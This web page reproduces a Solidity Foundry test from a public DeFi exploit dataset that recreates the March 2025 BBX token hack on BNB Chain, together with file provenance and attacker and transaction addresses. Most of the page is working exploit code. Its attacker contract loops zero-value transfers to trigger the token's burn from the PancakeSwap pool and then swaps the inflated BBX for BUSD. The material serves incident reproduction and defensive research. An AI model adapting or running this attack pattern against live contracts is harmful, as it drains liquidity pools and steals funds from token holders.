Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/BBXToken_exp.sol

Public reproduction file for dataset entry BBXToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/BBXToken_exp.sol128 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 11902 BUSD
8// Attacker : https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e
9// Attack Contract : https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA93898
10// Vulnerable Contract : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e
11// Attack Tx : https://bscscan.com/tx/0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581
12// Attack Tx (Create Contract): https://bscscan.com/tx/0xf7019e1232704c3ede4ecf00b79ccf647b2cb3718b9f6972e70dc7c5170e3f91
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e#code
17// @Analysis
18// Post-mortem : https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee5
19// Twitter Guy : https://x.com/TenArmorAlert/status/1916312483792408688
21address constant BBX = 0x67Ca347e7B9387af4E81c36cCA4eAF080dcB33E9;
22address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
23address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
25address constant PancakeSwapV2_BUSD_BBX= 0x6051428B580f561B627247119EEd4D0483B8D28e;
26address constant PancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
28contract BBXToken_exp is Test {
30 address attacker = makeAddr("attacker");
32 function setUp() public {
33 // 47626727 -> Attack block
34 // 47626457 -> Create contract block
36 vm.createSelectFork("bsc", 47626457 - 1); // Create contract block
38 vm.label(attacker, "BBX Exploiter");
39 vm.label(BBX, "BBX");
40 vm.label(BUSD, "BUSD-T Stablecoin");
41 vm.label(wBNB, "WBNB");
42 vm.label(PancakeSwapV2_BUSD_BBX, "PancakeSwap V2: BSC-USD-BBX LP");
43 vm.label(PancakeSwapRouterV2, "PancakeSwap: Router v2");
45 vm.deal(attacker, 1 ether);
46 }
48 function testExploit() public {
50 // Deploy the attack contract
51 vm.prank(attacker);
52 AttackerC attC = new AttackerC{value: 0.05 ether}();
54 vm.roll(47626727 - 1); // Attack tx block
55 vm.warp(block.timestamp + 15 * 60); // Warp time
56 vm.startPrank(attacker);
58 attC.attack();
59 emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);
61 vm.stopPrank();
62 }
65contract AttackerC {
67 constructor() payable {
68 // console.log(IPancakeRouter(payable(PancakeSwapRouterV2)).WETH()); // WBNB
70 // Prepare BBX token
71 uint256 balance = address(this).balance;
72 address[] memory path = new address[](3);
73 path[0] = wBNB;
74 path[1] = BUSD;
75 path[2] = BBX;
76 IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: balance}(
77 balance,
78 path,
79 address(this),
80 block.timestamp + 10
81 );
83 // console.log("Balance of BBX: ", IERC20(BBX).balanceOf(address(this)));
84 }
86 function attack() public {
88 // console.log(IBBXToken(BBX).lastBurnTime()); // 1742375453
89 // console.log(IBBXToken(BBX).lastBurnGapTime()); // 86400
90 // console.log(IBBXToken(BBX).liquidityPool()); // 0x6051428b580f561b627247119eed4d0483b8d28e
91 // console.log(IBBXToken(BBX).burnRate()); // 300
93 for (uint256 i = 0; i < 500; i++) {
94 IERC20(BBX).transfer(address(this), 0);
96 }
97 // console.log(IERC20(BUSD).balanceOf(PancakeSwapV2_BUSD_BBX));
98 // console.log(IERC20(BBX).balanceOf(PancakeSwapV2_BUSD_BBX));
100 IERC20(BBX).approve(PancakeSwapRouterV2, type(uint256).max);
102 uint256 balanceOfBBX = IERC20(BBX).balanceOf(address(this));
103 // console.log("Balance of BBX: ", balanceOfBBX); // 18480773819186942481
105 address[] memory path = new address[](2);
106 path[0] = BBX;
107 path[1] = BUSD;
108 IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
109 balanceOfBBX,
110 0,
111 path,
112 msg.sender,
113 block.timestamp + 10
114 );
115 }
117 receive() external payable {
118 // Receive BNB for the attack
119 }
123interface IBBXToken {
124 function lastBurnTime() external view returns (uint256);
125 function lastBurnGapTime() external view returns (uint256);
126 function liquidityPool() external view returns (address);
127 function burnRate() external view returns (uint256);

Analysis

Dataset entry

Public Foundry test for “BBXToken” (2025-03-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e

  • Attack Contract

    0x0489e8433e4e74fb1ba938df712c954ddea93898

  • Vulnerable Contract

    0x6051428b580f561b627247119eed4d0483b8d28e

  • Attack Tx

    0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581

  • Attack Tx

    0xf7019e1232704c3ede4ecf00b79ccf647b2cb3718b9f6972e70dc7c5170e3f91

File record

Name
BBXToken
Path
src/test/2025-03/BBXToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
998128f07c8e090042a836d2f9b2a5afbe9e7908
Language
Solidity
Size
128 lines
Date
2025-03-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/BBXToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 998128f07c8e090042a836d2f9b2a5afbe9e7908, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.